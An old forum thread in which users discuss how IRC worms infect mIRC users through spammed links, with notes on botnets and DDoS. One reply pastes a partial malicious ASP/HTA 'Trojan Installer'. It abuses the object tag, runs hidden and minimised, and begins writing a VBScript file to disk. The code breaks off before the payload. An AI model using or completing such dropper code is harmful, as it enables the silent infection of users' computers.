-
"IRC" virii?
Chances are, if you are a user of a large IRC network (such as DAL and EFnet), you will know what im talking about.
Usually a user spams a website (eg: <sexc69> *** see me on webcam @ http://www.geocities.com/infected_site) to other users. The users, not knowing any better, click on the link and are infected -- they start spreading the link as well, usually without their knowledge.
Although i have had contact with these things for quite a while, i have never actually "lived on the edge" and visited the spammed websites. I was wondering then, exactly *how* does the client (usually mIRC) get infected through a simple click? Or have i missed something?
Regards
-
Most likely the site contains malicious code such as Java/JavaScript to attack the computer and get the virus onto the system. It can then join irc servers and propagate itself in the very same fashion. A rather unexperienced user wouldnt really notice it, unless they had a firewall and could see the IRC traffic to servers they dont normally use. Another downside to these virii is that they can be designed to create a network for a DDoS attack, so not only has your computer become infected with a virus, but its now being used to attack someone else and you get left holding the short end of the stick.
-
Thanks,
I thought that it might have something to do with Java/Javascript, but as i have never 'played' with it, i wouldnt know. Are there any effective ways to block malicious Java code (without disabling Javascript in the browser?)
-
they're constantly making patches to block malicious javas scripts but new malicious scripts are written almost as fast which exploit new holes found in browser security which lately come out even faster.
if you plan to surf sites you dont know disable java scripts
Here's part of a malicious page that uses asp:
<%
' Trojan Installer Written By Ethics
' Simple exploit of the Object tag
' Just put this file as the "data" value in an object tag
'-----------------------------------------------
' make sure Nothing has gone to the client
response.clear
response.contenttype="application/hta"
%>
<HTML>
<HEAD>
<TITLE></TITLE>
<HTA:APPLICATION ID="PsyBot"
APPLICATIONNAME="PsyBotInstaller"
BORDER="none"
BORDERSTYLE="normal"
CAPTION="no"
ICON=""
CONTEXTMENU="no"
MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="no"
VERSION="1.0"
WINDOWSTATE="minimize"/>
<SCRIPT LANGUAGE="VBScript">
MyFile = "c:\me.vbs"
Set FSO = CreateObject("Scripting.FileSystemObject")
...and the rest of the code
even though its published as a 'proof of concept' (PoC) it can still do a lot of damage
-
Thanks for the example and information, Tedob1/Syni666
